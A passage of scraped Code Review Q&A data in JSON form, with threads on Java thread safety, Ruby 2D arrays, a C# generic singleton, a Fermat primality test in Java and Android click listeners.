if (DBUpdater.incrementCounter(....)) //if write back to DB is successful
noOfUserIdsInReserveCurrently += NO_OF_USERIDS_TO_KEEP_IN_RESERVE;
}
}
</code></pre>
|
[] |
[
{
"body": "<p>Imagine this scenario: thread A arrives first and executes the entire <code>synchronized(IdManager.class)</code> block, but is interrupted before the row return <code>regstrdUserIdsCount_Cached.incrementAndGet();</code> so that the counter is not incremented.</p>\n\n<p>The arrives thread B. It enters the <code>synchronized(IdManager.class)</code> block and gets the same Id as thread A!!!</p>\n\n<p>This could happen because you have put the <code>regstrdUserIdsCount_Cached.incrementAndGet();</code> outside the syncronized block. If you put it inside, your code should be thread safe.</p>\n\n<p><strong>UPDATE:</strong></p>\n\n<p>The scenario described above is not possibile, because <code>incrementAndGet</code> is an atomic operation. Indeed, the code is thread-safe. My apologies.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T20:55:07.303",
"Id": "16779",
"Score": "0",
"body": "Wanted to add that you might as well synchronize the method. When you synchronize(IdManager.class), you prevent any other thread from accessing any other synchronized static methods for that class."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T21:02:01.227",
"Id": "16780",
"Score": "0",
"body": "I disagree with your reasoning, @vitalik. The decision on what ID to return to a thread is based solely on the result of `regstrdUserIdsCount_Cached.incrementAndGet()` - this is not influenced by the reservation logic, so the code is in fact threadsafe."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T21:08:15.833",
"Id": "16782",
"Score": "0",
"body": "I guess you are right @sgmorrison. I corrected my answer."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T05:29:12.857",
"Id": "16798",
"Score": "0",
"body": "@ApprenticeQueue: In that case, since I am calling a synchronized method(`fetchIdsInReserve()`) from a synchronized block that could lead to a deadlock, right?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T16:59:38.203",
"Id": "16826",
"Score": "0",
"body": "@Raj no deadlock because Java uses reentrant synchronization; if you have the lock already, you don't need to acquire the same lock again."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T17:33:56.723",
"Id": "16827",
"Score": "0",
"body": "@sgmorrison, that's not true. On vitalik's scenario, reservedInDBTill=100, noOfUserIdsInReserveCurrently=0, regstrdUserIdsCount_Cached=100. When thread A is interrupted, reservedInDBTill=300, noOfUserIdsInReserveCurrently=199, and regstrdUserIdsCount_Cached=100. Let's say 179 threads has gone by (and thread A is still asleep) so now noOfUserIdsInReserveCurrently=20, regstrdUserIdsCount_Cached=279. When thread B comes in and calls fetchIdsInReserve(), 279+20 != 300 so exception will be thrown."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T14:26:02.403",
"Id": "16867",
"Score": "0",
"body": "Good spot, @ApprenticeQueue. Will update my answer in due course."
}
],
"meta_data": {
"CommentCount": "7",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T19:21:01.457",
"Id": "10549",
"ParentId": "10545",
"Score": "1"
}
},
{
"body": "<p>You may still have a logic problem. The first time <code>getNewId()</code> is called <code>noOfUserIdsInReserveCurrently = 0</code> so <code>fetchIdsInReserve()</code> is called and <code>noOfUserIdsInReserveCurrently = 199</code>.</p>\n\n<p>Now imagine the thread gets parked before returning.</p>\n\n<p>Now imagine this happens to 179 more threads. So that we are now at <code>noOfUserIdsInReserveCurrently = 20</code> and triggering <code>fetchIdsInReserve()</code> again. at this point there is no guarantee that <code>return regstrdUserIdsCount_Cached.incrementAndGet()</code> has ever been called so <code>regstrdUserIdsCount_Cached.get() = 0</code>. </p>\n\n<p>Given this, does the check <code>if (noOfUserIdsInReserveCurrently + regstrdUserIdsCount_Cached.get() != reservedInDBTill)</code> fail?</p>\n\n<p>This is not an issue if there are a fixed number of threads that can call this, like from a FixedThreadPool. But if it is unconstrained then there might be a failure mode.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T19:48:23.780",
"Id": "16886",
"Score": "0",
"body": "Thankyou so much! To solve this issue, should I include `regstrdUserIdsCount_Cached` inside the synchronized block & make it as a non final int instead of atomicInteger ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T03:36:00.203",
"Id": "16905",
"Score": "0",
"body": "To be honest I'm not sure what you are trying to accomplish. But synchronizing the getNewId() method would make the whole system safe."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T19:22:04.653",
"Id": "10573",
"ParentId": "10545",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": "10573",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T15:31:32.917",
"Id": "10545",
"Score": "1",
"Tags": [
"java",
"multithreading",
"thread-safety"
],
"Title": "Is this method thread safe?"
}
|
10545
|
<p>I am a C++ programmer new to Ruby and someone suggested that I post my code here since it doesn't quite match Ruby standards. Is there a more Ruby way of doing this?</p>
<p>I have created a 2D array full of MapTile class objects and then I draw the tiles to the screen by iterating through the 2D Array using a for loop. Here is some code.</p>
<pre><code>class MapTile
attr_accessor :tileSprite, :attribute
def initialize(sprite, attr)
@tileSprite = sprite
@attribute = attr
end
def tileSprite
@tileSprite
end
def attribute
@attribute
end
end
def array2D(width,height)
a = Array.new(width, MapTile.new(123,0))
a.map! { Array.new(height, MapTile.new(123,0)) }
return a
end
@mapData = array2D(@mapSize,@mapSize)
for i in 0..@mapSize - 1
for j in 0..@mapSize - 1
mapData[i][j].tileSprite = tileNum
@tile.draw(mapData[i][j].tileSprite)
end
end
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T21:06:19.407",
"Id": "16781",
"Score": "1",
"body": "\"for\" blocks are kind of code smoke in Ruby. Whenever you find yourself writing one, you should think again. Alternative can be using `@mapSize.times { |i| some_operation }`"
}
] |
[
{
"body": "<p>First of all your indentation is a bit wacky. Sometimes you indent by 4 spaces, sometimes by 2 (which is the default in the ruby community) and sometimes not at all (for example you didn't indent the call to <code>attr_accessor</code> or the contents of the initialize method). You should fix that.</p>\n\n<hr>\n\n<pre><code>attr_accessor :tileSprite, :attribute\n# ...\ndef tileSprite\n @tileSprite\nend\n\ndef attribute\n @attribute\nend\n</code></pre>\n\n<p>No need to call <code>attr_accessor</code> <em>and</em> define the getter methods yourself. Do one or the other.</p>\n\n<hr>\n\n<pre><code>def array2D(width,height)\n a = Array.new(width, MapTile.new(123,0))\n a.map! { Array.new(height, MapTile.new(123,0)) }\n return a\nend\n</code></pre>\n\n<p>Creating an array containing a default value and then mapping over that array to replace the default value makes very little sense. Why assign a default value at all if you throw it away right after?</p>\n\n<p>Also it's a very bad idea to make the inner arrays all contain a reference to the same map tile. This just screams for you to introduce hard to find bugs. As a guide line you should never use the 2-argument version of Array.new with a mutable value as its argument. Use the block-version instead.</p>\n\n<p>Also it's customary in ruby to not use explicit return statements in the last line of a method.</p>\n\n<p>Here's how I'd write the <code>array2d</code> method:</p>\n\n<pre><code>def array2D(width,height)\n Array.new(width) do\n Array.new(height) do\n MapTile.new(123,0)\n end\n end\nend\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-25T17:07:22.450",
"Id": "129422",
"Score": "0",
"body": "do you really have to build multidimensional arrays with the multi step way you did? I used the 2 argument array style to create them and have problems; http://stackoverflow.com/questions/27064163/filling-populating-a-multidimensional-array-with-elements-of-another-array-an?noredirect=1#comment42648709_27064163 Is there not a cleaner way?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-25T18:48:30.973",
"Id": "129447",
"Score": "1",
"body": "@Vass Yes, you need to use the block version of `Array.new`. If you use the two-argument version, you're creating an array containing n references to the same subarray rather than n independent subarrays."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-26T11:32:43.250",
"Id": "129574",
"Score": "0",
"body": "thanks, could you create the multidimensional array without the block version? eg. `aa=Array.new(2,0); aa.each_index{|ind| aa[ind]=Array.new(3,0)}` ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-26T13:28:19.330",
"Id": "129592",
"Score": "1",
"body": "@Vass Sure, that's exactly what the OP did with `map!` (and I have to say: I much prefer `map!` over `each_index` to change elements in an array), but why would you? You're still using a block - you just replaced one method call with two."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-26T13:48:42.780",
"Id": "129597",
"Score": "0",
"body": "and is there a one line approach with map to produce a 3D array? A good pattern for producing arbitrary dimensions? Because the map functions cannot be chained since they work on the first dimension each time, so an index is required to maintain memory of the 'depth' of the array we are working on."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-26T13:50:25.680",
"Id": "129598",
"Score": "1",
"body": "@Vass `map` can be nested just like `each_index`, so can `Array.new`, which is still the best solution."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-26T13:58:07.800",
"Id": "129601",
"Score": "0",
"body": "great thanks; nn=Array.new(3).map{Array.new(2).map{Array.new(3,1)}}\nworks great"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-26T14:09:52.517",
"Id": "129602",
"Score": "1",
"body": "@Vass Yes, it works, but **why would you do that**? Why call an additional method instead of passing the block directly to `Array.new`? That serves absolutely zero purpose."
}
],
"meta_data": {
"CommentCount": "8",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T20:15:45.543",
"Id": "10551",
"ParentId": "10550",
"Score": "12"
}
},
{
"body": "<p>sepp2k gave you already an answer for a 2D-Array.</p>\n\n<p>I have another solution with a new class <code>Board</code>.</p>\n\n<p>You may define a board and have access to all fields, selected rows, columns or fields.</p>\n\n<pre><code>class MapTile\n attr_accessor :tileSprite, :attribute\n\n def initialize(sprite, attr)\n @tileSprite = sprite\n @attribute = attr\n end \n def to_s\n \"<MapTile #{object_id}>\"\n end\nend\n\nclass Board\n\n attr_reader :width,:height\n def initialize(width,height)\n @width = width\n @height = height\n @fields = Hash.new\n end\n #Make an initial filling\n def fill(default=nil)\n 1.upto(@width){|i|\n 1.upto(@height){|j|\n @fields[[i,j]] = yield if block_given?\n }\n }\n end \n #Loop on all fields\n def each()\n 1.upto(@width){|i|\n 1.upto(@height){|j|\n yield @fields[[i,j]]\n }\n }\n end\n #Loop on all fields\n def each_with_pos()\n 1.upto(@width){|i|\n 1.upto(@height){|j|\n yield i,j,@fields[[i,j]]\n }\n }\n end\n #Each fields in a row\n def row(row)\n res = []\n 1.upto(@height){|j|\n res << @fields[[row,j]]\n yield @fields[[row,j]] if block_given?\n }\n res\n end\n #Each fields in a column\n def column(col)\n res = []\n 1.upto(@width){|i|\n res << @fields[[i,col]] \n yield @fields[[i,col]] if block_given?\n }\n res\n end\n #Access one field\n def [](*key)\n @fields[key]\n end\nend\n#Define the board\nboard = Board.new(5,5)\n\n#Make an initial filling\nboard.fill{ MapTile.new(123,0) }\n\n#Loop on all fields\nboard.each{|field|\n #~ p field\n}\nboard.each_with_pos{|i,j,field|\n puts \"%2i-%2i: #{field}\" % [i,j]\n}\n#Row 1\np board.row(1)\n#Column 1\np board.column(1)\n#Get on field\np board[1,2]\n</code></pre>\n\n<p>Take it as an example how you could solve it. If you have problems to understand the code, please ask.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-11-25T17:08:08.380",
"Id": "129423",
"Score": "0",
"body": "isn't there a better more concise way to make multidimensional arrays?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T20:50:20.987",
"Id": "10552",
"ParentId": "10550",
"Score": "3"
}
},
{
"body": "<p>I added indexes and move tileNum assignment to array2D function. You should normally use better names like \"create_map_data\"</p>\n\n<p>I replaced the for-loops as nothing seems to be done based on indexes there. You should also avoid using for loops in Ruby. Using ranges mostly provide more readable code.</p>\n\n<pre><code>class MapTile\n attr_accessor :tileSprite, :attribute\n def initialize(sprite, attr)\n @tileSprite = sprite\n @attribute = attr\n end\nend\n\ndef create_map_data(width,height)\n Array.new(width) do |i|\n Array.new(height) do |j| \n MapTile.new(tileNum,0) # I guess tileNum somehow depends on indexes\n end\n end\nend\n\n@mapData = create_map_data(@mapSize,@mapSize)\n@mapData.flatten.each { |cell| @tile.draw(cell.tileSprite) }\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T21:29:57.413",
"Id": "10555",
"ParentId": "10550",
"Score": "5"
}
},
{
"body": "<p>you don't need to write code for 2D array in ruby language. \nJust below declaration represent 2D array in ruby.</p>\n\n<pre><code>[[1,2], [3,4]]\n</code></pre>\n\n<p>OR \nArray of array</p>\n\n<pre><code>Array.new(3){ [] }\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T09:41:09.917",
"Id": "10589",
"ParentId": "10550",
"Score": "-1"
}
}
] |
{
"AcceptedAnswerId": "10551",
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T19:51:36.803",
"Id": "10550",
"Score": "8",
"Tags": [
"ruby",
"array"
],
"Title": "Creating a 2D array of map tiles"
}
|
10550
|
<p>What do you think about this for a generic singleton?</p>
<pre><code>using System;
using System.Reflection;
/* Use like this
public class Highlander : Singleton<Highlander>
{
private Highlander()
{
Console.WriteLine("There can be only one...");
}
}*/
public class Singleton<T> where T : class
{
private static T instance;
private static object initLock = new object();
public static T GetInstance()
{
if (instance == null)
CreateInstance();
return instance;
}
private static void CreateInstance()
{
lock (initLock)
{
if (instance == null)
{
Type t = typeof(T);
// Ensure there are no public constructors...
ConstructorInfo[] ctors = t.GetConstructors();
if (ctors.Length > 0)
{
throw new InvalidOperationException(String.Format("
{0} has at least one accesible ctor making it impossible
to enforce singleton behaviour", t.Name));
}
// Create an instance via the private constructor
instance = (T)Activator.CreateInstance(t, true);
}
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T21:28:30.083",
"Id": "16785",
"Score": "0",
"body": "So how do you stop someone from using the type `T` directly and creating multiple?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T22:36:08.537",
"Id": "16786",
"Score": "0",
"body": "Because there are no contructors on Type `T`, you cannot construct it normally. You have to go via the `Singleton<T>` template."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T01:07:56.600",
"Id": "16793",
"Score": "2",
"body": "Seems pretty sweet to me. I do prefer using properties for this that's just a personal preference i.e. public static Instance { get; } vs GetInstance(). Would making the Singleton class abstract as well help ensure it's used in a inherited manner if that's the intention?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T02:47:43.433",
"Id": "16794",
"Score": "0",
"body": "Superficial cosmetic comment: I think it is better to have something like `string exceptionMessage = String.Format(\\n\"{0}...behaviour.\",\\nt.Name);` and then `throw new InvalidOperationException(exceptionMessage);` right below. I also would use named arguments when calling `Activator.CreateInstance` - documentation without comments. I also prefer to always have braces along with if - this is the StyleCop way, but it is up to you."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T13:45:08.523",
"Id": "16817",
"Score": "0",
"body": "@LokiAstari Simon is using an overload of `CreateInstance` that can use a private constructor to create an instance. Notice the second parameter: CreateInstance(typeof(T), **true**);"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T14:42:54.490",
"Id": "16822",
"Score": "0",
"body": "@w0lf: Fair enough: removed."
}
] |
[
{
"body": "<p>From my tests you need to add the following code. The singleton class needs a private constructor to force the use of GetInstance().</p>\n\n<pre><code>private Singleton(){return;}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-10-12T08:44:25.430",
"Id": "491606",
"Score": "0",
"body": "Can you inherit the class if the constructor is private?"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T14:18:53.660",
"Id": "10563",
"ParentId": "10554",
"Score": "3"
}
},
{
"body": "<p>Your solution works and I think the resulting singleton declarations are quite elegant.</p>\n\n<p>Having a singleton class declared as</p>\n\n<pre><code>public class Highlander : Singleton<Highlander>\n{\n private Highlander()\n {\n Console.WriteLine(\"There can be only one...\");\n }\n}\n</code></pre>\n\n<p>is both concise and expressive.</p>\n\n<p>The only problem I see with this implementation is in scenarios where performance is very important.</p>\n\n<p>Due to the use of locking to ensure thread safety, it incurs a performance penalty that could be avoided. Please take a look at <a href=\"http://csharpindepth.com/Articles/General/Singleton.aspx\" rel=\"nofollow\">Jon Skeet's excellent article about singletons in C#</a> for more details (more precisely the fourth example).</p>\n\n<p><s>Also, there's one more subtle issue that affects performance. If there are many singleton classes defined using this mechanism, all calls that get an instance of any of them will wait on the same lock object (the <code>initLock</code> instance is shared by all these classes).</s></p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T14:27:15.740",
"Id": "16820",
"Score": "0",
"body": "Last paragraph is actually incorrect - erased."
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T14:22:07.777",
"Id": "10564",
"ParentId": "10554",
"Score": "2"
}
},
{
"body": "<p>Since we have .NET 4, we could make use of <code>Lazy<T></code></p>\n\n<pre><code>public class Singleton<T> where T : class, new()\n{\n private Singleton() {}\n\n private static readonly Lazy<T> instance = new Lazy<T>(() => new T());\n\n public static T Instance { get { return instance.Value; } } \n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T20:41:19.283",
"Id": "16837",
"Score": "0",
"body": "Yes, Lazy. Forgot all about that construct."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-06T04:17:17.727",
"Id": "17015",
"Score": "0",
"body": "Make your class sealed; also see http://stackoverflow.com/questions/100081/whats-a-good-threadsafe-singleton-generic-template-pattern-in-c-sharp"
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T19:49:48.503",
"Id": "10576",
"ParentId": "10554",
"Score": "6"
}
},
{
"body": "<p>I'm not a fan of this design, mostly because it simply defers requirements to descendants. \nThere's not that much involved in building a singleton, and my personal preference is still to build them from scratch, and dealing with the little gotchas there and then, instead of remembering to do them in a descendant class of a singleton (and even the phrase \"a descendant of a singleton\" has a very bad taste). YMMV, of course.</p>\n\n<p>As far as your implementation is concerned: In the current setup, it's perfectly OK for the <code>Highlander</code> class to have internal or protected constructors and still pass the validation. This in turn allows new descendants of <code>Highlander</code>, which will, in effect lead to \"multitons\" (infinitons?).</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-05T09:47:21.403",
"Id": "10641",
"ParentId": "10554",
"Score": "1"
}
},
{
"body": "<p>So aside from the concerns with the singleton pattern as a whole (I'm not a fan, but I digress).</p>\n\n<p>You're type checking is at runtime. I understand there's not a good way to enforce this at compile time right now. This would almost be handy here:</p>\n\n<pre><code>public class Singleton<T> where T: NOT new()\n</code></pre>\n\n<p>That would be the only problem I'd see. Runtime is a time for end users, and letting the end users know that a class can't be a singleton is not as helpful unfortunately.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2017-08-04T17:39:31.200",
"Id": "172093",
"ParentId": "10554",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10576",
"CommentCount": "6",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-01T21:20:13.157",
"Id": "10554",
"Score": "7",
"Tags": [
"c#",
".net",
"singleton"
],
"Title": "A generic singleton"
}
|
10554
|
<p>Here is a simple working Java implementation of primality test for Fermat numbers. Is there something that I could change in code to achieve a better running time?</p>
<pre><code>import java.math.BigInteger;
public class FPT
{
public static void main(String[] args)
{
double n;
n = Double.parseDouble(args[0]);
int e = (int)n;
if (e > 1)
{
double m = Math.pow(2,n);
int k = (int)m;
BigInteger F;
F = BigInteger.valueOf(2).pow(k).add(BigInteger.ONE);
BigInteger s = new BigInteger ("8");
double o = 1;
double a = n - o ;
double b = Math.pow(2,a) - o;
int c = (int)b;
for (int i = 1; i <= c; i ++)
{
s=s.pow(4).subtract(BigInteger.valueOf(4).multiply(s.pow(2))).add(BigInteger.valueOf(2)).mod(F);
}
if (s.equals(BigInteger.ZERO))
{
System.out.println("prime");
}
else
{
System.out.println("composite");
}
}
else
{
System.out.println("exponent must be greater than one");
}
}
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T07:14:15.123",
"Id": "16845",
"Score": "0",
"body": "I don't understand why you are using `double` when you are working with integers. You do realize doubles aren't infinite precision."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T07:19:40.703",
"Id": "16846",
"Score": "0",
"body": "@ApprenticeQueue http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Math.html#pow%28double,%20double%29"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T07:22:40.557",
"Id": "16848",
"Score": "0",
"body": "That link doesn't say anything. `double` only supports up to around 18 digits. You should be using BigInteger throughout. Also `o` is a terrible variable to use because it looks like zero. If you mean a constant 1, just use 1 instead of a variable."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T07:31:58.653",
"Id": "16850",
"Score": "0",
"body": "Have you looked at [Pepin's test](http://en.wikipedia.org/wiki/P%C3%A9pin%27s_test) for testing primality?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T07:35:04.113",
"Id": "16851",
"Score": "0",
"body": "@ApprenticeQueue I know that such test exists but I am interested in Java implementation of this LLT-like primality test for Fermat numbers..."
}
] |
[
{
"body": "<p>I still can't quite figure out the way to this algorithm =/. But, from the Java point of view, you can gain 9-10% by changing your loop to:</p>\n\n<pre><code>for (int i = 1; i <= c; i ++) {\n BigInteger temp = s.pow(2);\n s = temp.pow(2).subtract(BigInteger.valueOf(4).multiply(temp)).add(BigInteger.valueOf(2)).mod(F);\n}\n</code></pre>\n\n<p>...because the cached value can be used twice there.</p>\n\n<p>Otherwise, the code is hard to read. It's not self explanatory nor commented and could be written in a better way - for a human to read, at least. But none of those changes would affect performance in any way.</p>\n\n<p><strong>EDIT</strong>: Additional 17% thanks to @Landei in comments.</p>\n\n<pre><code>for (int i = 1; i <= c; i ++) {\n BigInteger temp = s.modPow(BigInteger.valueOf(2), F);\n s = temp.pow(2).subtract(BigInteger.valueOf(4).multiply(temp)).add(BigInteger.valueOf(2));\n}\ns = s.mod(F);\n</code></pre>\n\n<p>That takes advantage of <code>modPow()</code> method which can do <code>pow().mod()</code> in one step without much additional overhead. Since the <code>mod</code> is not necessary to have every time, it is enough to do it in <code>temp</code> (that actually propagates twice into the resulting expression) and enjoy the substantial speedup. You <em>need</em> to add one proper mod after the loop is done, though.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T06:39:53.793",
"Id": "16843",
"Score": "0",
"body": "Would it be better to use `s.multiply(s)` instead of `s.pow(2)` ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T06:51:05.853",
"Id": "16844",
"Score": "0",
"body": "Tried that one, it's actually making things worse - at least on my `JDK7 -server`."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T11:32:15.007",
"Id": "16857",
"Score": "1",
"body": "`BigInteger temp = s.modPow(2,F);` may help a little bit, too."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T13:18:42.703",
"Id": "16864",
"Score": "0",
"body": "That was, actually, a very good idea! Gonna edit it into answer - if you would like to make your own, feel free to do so :)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T13:30:31.067",
"Id": "16865",
"Score": "0",
"body": "btw I additionally tried to refactor the expression from `(s^4 - 4*s^2 + 2)` to `(s^2 - 4)*(s^2) +2` (that is much worse) and to `(s^2 - 4)^2 - 2` (that is absolutely the same). I tried changing the multiplication to `.shiftLeft(2)` and some other stuff, none of those work. How could I miss this one?!"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T15:29:42.830",
"Id": "16874",
"Score": "0",
"body": "@Slanec Is it possible to estimate a time needed to test primality of the number `2^(2^(33))+1` using this Java code ?"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T16:01:15.900",
"Id": "16876",
"Score": "0",
"body": "A crapload. I don't believe you can compute such a beastly thing on a regular desktop machine. My 5 years old notebook takes 2 seconds to compute F(12) and 13 seconds to compute F(13). The number of needed iterations rises exponentially, so does the Fermat number. The F(33) would need a million times more iterations than F(13). The F(33) has 2.58*10^9 digits(!!!) - that's 1 GB of memory just to hold it! And you want to do 4 billion computations on that, every one taking 5 creations of such a beast. My most optimistic guess is 4 years with a new and shiny computer."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T05:55:00.423",
"Id": "16908",
"Score": "0",
"body": "@Slanec [It is worth to try](https://www.eff.org/awards/coop)"
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T10:08:49.977",
"Id": "16912",
"Score": "0",
"body": "Uuuh. Nice. I'd try 2^2^29 - 2^2^32 first, as they also are within range. If haven't tried them, that is :). And get a new and great CPU. You could, in the loop, write out `if (i % someconstant == 0) System.out.println(i);` just to see your speed of calculation to do an educated estimate."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-04T11:17:33.823",
"Id": "16916",
"Score": "1",
"body": "@Slanec Those numbers are composite for sure...the smallest Fermat number with unknown primality status is a F(33)...by the way see [this question](http://stackoverflow.com/q/10007327/964331)..."
}
],
"meta_data": {
"CommentCount": "10",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T21:10:41.617",
"Id": "10577",
"ParentId": "10560",
"Score": "4"
}
},
{
"body": "<p>Some basic optimalizations:</p>\n\n<p>The reverse <code>for</code>: <code>for (int i = c - 1; i >= 0; c--)</code> should be a little faster. Java has a special instruction for comparing with zero. No need to compare two local variables.</p>\n\n<p>Another thing is that every method call is slow. Better to put every constant <code>BigInteger.valueOf(4)</code> to a local variable first: <code>BigInteger four = BigInteger.valueOf(4);</code></p>\n\n<p>I don't guarantee a faster code - with modern Java optimalizations and JIT it's possible that these optimalizations are done automatically by compiler.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-06T08:22:21.607",
"Id": "10657",
"ParentId": "10560",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": "10577",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T10:55:41.687",
"Id": "10560",
"Score": "6",
"Tags": [
"java",
"performance",
"primes"
],
"Title": "Fermat primality test"
}
|
10560
|
<p>While working with Android GUI my approach to adding Listeners for GUI elements is usually:</p>
<pre><code>Button helpBt = (Button) findViewById(R.id.help_button);
helpBt.setOnClickListener(new View.OnClickListener() {
/* Code */
});
</code></pre>
<p>Currently, I am at learning stage. However, will this approach be maintainence 'friendly' as I get working with more complex apps? If not, then what are suitable alternatives?</p>
|
[] |
[
{
"body": "<p>It depends on how much /* Code */ there is. If it's just a few lines, that's one thing. If it gets too large though, the reader will lose sight of the fact that you're creating an anonymous listener. I would say that if the anonymous listener is more than 5, or maybe 10 lines then you should use an inner class instead.</p>\n\n<p>There comes a point where even an inner class is really too large though.</p>\n\n<p>In general, questions about \"When is too big?\" are highly subjective, but failing to ask them, and failing to act on the answers leads to hard to read, difficult to maintain code.</p>\n\n<p>Also, as biovamp pointed out, if you want to reuse the code, then you need to create a regular class.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T14:42:13.150",
"Id": "10565",
"ParentId": "10562",
"Score": "7"
}
},
{
"body": "<p>I'm agree with Donald.McLean, but there is one more thing - anonymous class is not reusable.</p>\n\n<p>So, if don't need more than one instance - this approach is good</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-02T16:40:31.207",
"Id": "10569",
"ParentId": "10562",
"Score": "1"
}
},
{
"body": "<p>you can use it this way</p>\n\n<p>1 helpBt.setOnClickListener(mListenr);</p>\n\n<pre><code>private OnClickListener mListenr=new OnClickListener(\n @Override\n public void onClick(View v){\n int id=v.getId();\n switch(id){\n case R.id.click1:\n //Code here\n break;\n //and so on..\n }\n }\n);\n</code></pre>\n\n<p>2</p>\n\n<pre><code> implementd OnClickListener\n</code></pre>\n\n<p>write OnCLick for same Actiivty/Class\n and </p>\n\n<pre><code>helpBt.setOnClickListener(this);\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2012-04-03T05:58:49.663",
"Id": "10586",
"ParentId": "10562",
"Score": "3"
}
},
{
